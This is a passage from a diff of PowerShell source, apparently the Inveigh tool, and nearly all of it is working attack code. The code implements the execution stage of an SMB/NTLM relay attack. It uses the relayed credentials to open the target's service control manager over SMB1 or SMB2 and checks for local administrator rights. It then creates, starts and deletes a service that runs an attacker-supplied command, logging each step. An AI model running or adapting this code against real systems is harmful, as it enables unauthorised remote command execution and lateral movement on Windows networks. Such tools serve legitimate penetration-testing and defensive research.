+ 'CloseRequest' + { + $packet_SMB_header = Get-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBCloseRequest 0x00,0x40 + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $packet_SMB_header = Get-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBTreeDisconnectRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $packet_SMB_header = Get-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $inveigh.process_ID_bytes $SMB_user_ID + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $packet_SMB_data = Get-PacketSMBLogoffAndXRequest + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'Exit' + } + + } + + if($SMB_relay_failed) + { + $inveigh.console_queue.Add("SMB relay failed on $Target") + $SMB_client_stage = 'Exit' + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay failed on $Target") + } + + } + + } + + } + else + { + + $SMB_client_stage = 'TreeConnect' + + :SMB_execute_loop while ($SMB_client_stage -ne 'exit') + { + + switch ($SMB_client_stage) + { + + 'TreeConnect' + { + $SMB2_message_ID = 4 + $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'CreateRequest' + } + + 'CreateRequest' + { + $SMB2_tree_ID = 0x01,0x00,0x00,0x00 + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x05,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2CreateRequestFile $SMB_named_pipe_bytes + $packet_SMB2_data["SMB2CreateRequestFile_Share_Access"] = 0x07,0x00,0x00,0x00 + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'RPCBind' + } + + 'RPCBind' + { + $SMB_named_pipe_bytes = 0x73,0x00,0x76,0x00,0x63,0x00,0x63,0x00,0x74,0x00,0x6c,0x00 # \svcctl + $SMB_file_ID = $SMB_client_receive[132..147] + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'OpenSCManagerW' + } + + 'ReadRequest' + { + + Start-Sleep -m 150 + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x08,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_header["SMB2Header_CreditCharge"] = 0x10,0x00 + $packet_SMB2_data = Get-PacketSMB2ReadRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + else + { + $SMB_client_stage = 'StatusPending' + } + + } + + 'StatusPending' + { + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -ne '03-01-00-00') + { + $SMB_client_stage = $SMB_client_stage_next + } + + } + + 'OpenSCManagerW' + { + $SMB2_message_ID = 30 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SCM_data = Get-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CheckAccess' + } + + 'CheckAccess' + { + + if([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($SMB_client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') + { + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + $SMB_service_manager_context_handle = $SMB_client_receive[108..127] + $packet_SCM_data = Get-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $PsExec_command_bytes $PsExec_command_length_bytes + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is a local administrator on $Target") + } + + if($SCM_data.Length -lt $SMB_split_index) + { + $SMB_client_stage = 'CreateServiceW' + } + else + { + $SMB_client_stage = 'CreateServiceW_First' + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[128..131]) -eq '05-00-00-00') + { + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + $SMB_relay_failed = $true + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string is not a local administrator or does not have required privilege on $Target") + } + + } + else + { + $SMB_relay_failed = $true + } + + } + + 'CreateServiceW' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'CreateServiceW_First' + { + $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) + $SMB2_message_ID += 20 + $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] + $packet_RPC_data = Get-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) + $SMB_split_index_tracker = $SMB_split_index + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if($SMB_split_stage_final -le 2) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_split_stage = 2 + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Middle' + { + $SMB_split_stage++ + $SMB2_message_ID++ + $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] + $SMB_split_index_tracker += $SMB_split_index + $packet_RPC_data = Get-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle + $packet_RPC_data["RPCRequest_AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if($SMB_split_stage -ge $SMB_split_stage_final) + { + $SMB_client_stage = 'CreateServiceW_Last' + } + else + { + $SMB_client_stage = 'CreateServiceW_Middle' + } + + } + + 'CreateServiceW_Last' + { + $SMB2_message_ID++ + $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] + $packet_RPC_data = Get-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID $RPC_data.Length + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'StartServiceW' + } + + 'StartServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '00-00-00-00') + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service created on $Target") + $inveigh.log.Add("$(Get-Date -format 's') - Trying to execute SMB relay command on $Target") + } + + $inveigh.console_queue.Add("SMB relay service $SMB_service created on $Target") + $inveigh.console_queue.Add("Trying to execute SMB relay command on $Target") + $SMB_service_context_handle = $SMB_client_receive[112..131] + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SCM_data = Get-PacketSCMStartServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'DeleteServiceW' + } + elseif([System.BitConverter]::ToString($SMB_client_receive[132..135]) -eq '31-04-00-00') + { + $inveigh.console_queue.Add("SMB relay service $SMB_service creation failed on $Target") + $SMB_relay_failed = $true + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service creation failed on $Target") + } + + } + else + { + $SMB_relay_failed = $true + } + + } + + 'DeleteServiceW' + { + + if([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '1d-04-00-00') + { + $inveigh.console_queue.Add("SMB relay command executed on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay command executed on $Target") + } + + } + elseif([System.BitConverter]::ToString($SMB_client_receive[108..111]) -eq '02-00-00-00') + { + $inveigh.console_queue.Add("SMB relay service $SMB_service failed to start on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("SMB relay service $SMB_service failed to start on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("SMB relay service $SMB_service failed to start on $Target") + } + + } + + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SCM_data = Get-PacketSCMDeleteServiceW $SMB_service_context_handle + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'ReadRequest' + $SMB_client_stage_next = 'CloseServiceHandle' + $SMB_close_service_handle_stage = 1 + } + + 'CloseServiceHandle' + { + + if($SMB_close_service_handle_stage -eq 1) + { + $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $Target") + $SMB2_message_ID += 20 + $SMB_close_service_handle_stage++ + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_context_handle + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $Target") + } + + } + else + { + $SMB2_message_ID += 1 + $SMB_client_stage = 'CloseRequest' + $packet_SCM_data = Get-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle + } + + $packet_SMB2_header = Get-PacketSMB2Header 0x09,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data + $packet_RPC_data = Get-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 + $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data + $packet_SMB2_data = Get-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length) + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + } + + 'CloseRequest' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x06,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2CloseRequest $SMB_file_ID + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'TreeDisconnect' + } + + 'TreeDisconnect' + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x04,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2TreeDisconnectRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'Logoff' + } + + 'Logoff' + { + $SMB2_message_ID += 20 + $packet_SMB2_header = Get-PacketSMB2Header 0x02,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_header["SMB2Header_CreditRequest"] = 0x7f,0x00 + $packet_SMB2_data = Get-PacketSMB2SessionLogoffRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_client_stream.Flush() + $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + $SMB_client_stage = 'Exit' + } + + } + + if($SMB_relay_failed) + { + $inveigh.console_queue.Add("SMB relay failed on $Target") + $SMB_client_stage = 'Exit' + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay failed on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay failed on $Target") + } + + } + + } + + } + + if(!$SMB_relay_failed -and $RelayAutoDisable -eq 'Y') + { + $inveigh.console_queue.Add("SMB relay auto disabled due to success") + $inveigh.SMB_relay = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay auto disabled due to success") } } - elseif(!$SMB_relay_failed -and $k -eq 11) - { - $inveigh.console_queue.Add("SMB relay service $SMB_service deleted on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay service $SMB_service deleted on $SMBRelayTarget")]) - } - - $SMB_relay_execute_ReadAndRequest = 0x00,0x00,0x00,0x37,0xff,0x53,0x4d,0x42,0x2e,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - $SMB_multiplex_ID + - 0x00,0x0a,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x58, - 0x02,0x58,0x02,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00 - - if($SMB_relay_failed) - { - $inveigh.console_queue.Add("SMB relay failed on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - 